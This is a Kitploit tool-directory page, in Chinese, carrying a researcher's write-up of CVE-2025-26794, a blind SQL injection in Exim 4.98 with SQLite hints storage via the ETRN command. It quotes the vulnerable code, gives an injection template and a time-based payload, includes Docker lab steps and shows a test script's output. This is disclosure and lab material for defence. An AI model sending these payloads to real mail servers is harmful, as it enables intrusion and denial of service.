Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-26794 — CVE-2025-26794:Exim 4.98(SQLite DBM)中的盲SQL注入 - 漏洞利用writeup | Kitploit
工具/GitHubGitHub/oscarbataille/cve-2025-26794
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全实验室与实践
GitHuboscarbataille/cve-2025-26794

CVE-2025-26794

CVE-2025-26794:Exim 4.98(SQLite DBM)中的盲SQL注入 - 漏洞利用writeup

查看仓库
15781年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-26794: Exim 4.98(SQLite DBM)中的盲SQL注入 - 漏洞利用分析

Exim 报告:https://www.exim.org/static/doc/security/CVE-2025-26794.txt

我通过手动代码审查发现了此漏洞。

漏洞详细信息:

问题

当 SQLite 被用作 DBM 时,SQL 参数未正确转义。这导致远程用户有可能构造自定义的 SQLite 查询。

前提条件:

  • 使用“USE_SQLITE = yes”编译 Exim。这将把 SQLite 设为数据库管理器(DBM)。
  • 启用 ETRN 命令。为此,需要在配置文件中设置“acl_smtp_etrn”。

PoC

简介

Exim 使用内部数据库进行内部键:值存储(称为 HintsDB),该数据库支持多种后端,在编译时设定。最新添加的是 SQLite。 它用于存储:

  • TLS 会话
  • 速率限制信息
  • 重试信息
  • 信号量(通过 enq_start() 用于 ETRN 命令和 SMTP 投递)
  • 传输并发限制信息
  • 因传输延迟而推迟的电子邮件投递的“等待数据库”
  • 对于 PIPECONNECT:缓存远程服务器的 EHLO 响应

受影响的文件是 hintsdb.h。在最新提交中,它已移至单独的文件(hints_sqlite.h)。仅 SQLite 函数受影响(示例函数:exim_s_dbp)。

 static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]

输入的键(key)未正确转义。因此,如果我们能够控制该键,就可以注入任意 SQLite 代码。

漏洞利用

RFC1985 定义了 SMTP ETRN 命令,“客户端可通过该命令请求服务器开始处理其邮件队列中等待发往客户端机器的消息”。 使用 SMTP 命令:ETRN #domain.com。

在 Exim 中,ETRN 命令会在 HintsDB 中设置一个信号量,以避免并行执行多个 ETRN 命令。 该信号量由 enq_start(keyname, value) 函数实现,该函数会在“misc”数据库中创建一个新条目。

etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);

[...]

if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
	smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
	break;
}

例如,SMTP 命令 ETRN #test.com 会在 SQLite “misc”数据库中创建一个临时 DB 条目,键为“etrn-#test.com”,值为 1。

在 ETRN 命令处理结束时,该 DB 条目将被删除:

enq_end(etrn_serialize_key);

由于我们可以控制键,因此可以通过以下 SMTP 命令注入我们自己的 SQL 代码:

ETRN #',1); ## 此处插入 SQL 语句 ##  /*

由于没有输出,我们可以提交基于时间的 SQLi 载荷来远程测试此漏洞:

ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

影响

  • 我能够使用 ATTACH DATABASE 连接到 Exim 用户有权访问的其他本地 SQLite 数据库。我猜想可能可以利用 Exim 中的竞态条件,通过干扰其他使用的数据库来触发未定义行为。目前这仍是高度推测性的。
  • 我们还可以利用 SQLite 的整个攻击面。可能将此漏洞与 SQLite 漏洞结合以实现 RCE。

漏洞利用限制:

  • 查找类型 dbm、dmbjz、dbmnz 使用配置的 DBM(此处为 SQLite),这可能会显著扩大攻击面。我未测试该利用方式。然而,当 SQLite 被设为 DBM 时,使用 dbm 查找似乎不太可能。
  • 我认为启用 ETRN 命令(并且相对较旧)的情况相当罕见。我在代码中未找到其他使用用户输入构建查询字符串的地方。
  • 我认为启用 SQLite 作为 DBM 的情况相当罕见,因为它是最近才添加的。
  • 我认为使用 SQLite 作为 DBM 的情况也相当罕见,因为它仅在最新的 Exim 版本中添加。 因此,我怀疑此利用方法曾在实际环境中被使用过。但它仍然是一个严重的漏洞。

这意味着我们可以轻松进行 DoS(例如填满磁盘),但将其升级为远程代码执行需要更多工作,不过可能是可行的。

复现漏洞

以下是一个本地 Docker 实验环境,可帮助复现此漏洞。

构建并启动 exim

  1. git clone [email protected]:OscarBataille/CVE-2025-26794.git
  2. cd CVE-2025-26794/docker_lab
  3. bash docker.sh 将构建并使您登录到容器中
  4. 在容器内运行 bash start-exim.sh 以启动 exim 服务器

连接到 EXIM 服务器

  1. 使用 Netcat 连接:nc 127.0.0.1 25
  2. 220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000
  3. 发出 ETRN 命令:ETRN #'
  4. 检查 Exim 日志中是否有以下行:sqlite3_exec: near "', X'": syntax error

测试服务器

我开发了一个脚本 test.py,用于远程测试此漏洞。

python3 docker_lab/test.py <host>

示例:

oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
服务器横幅: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000

客户端:  ETRN #

ETRN 响应: 458 Already processing
 时间: 0.006737470626831055

客户端:  ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*

ETRN 响应: 250 OK
 时间: 1.073132038116455

!! 存在漏洞
下载工具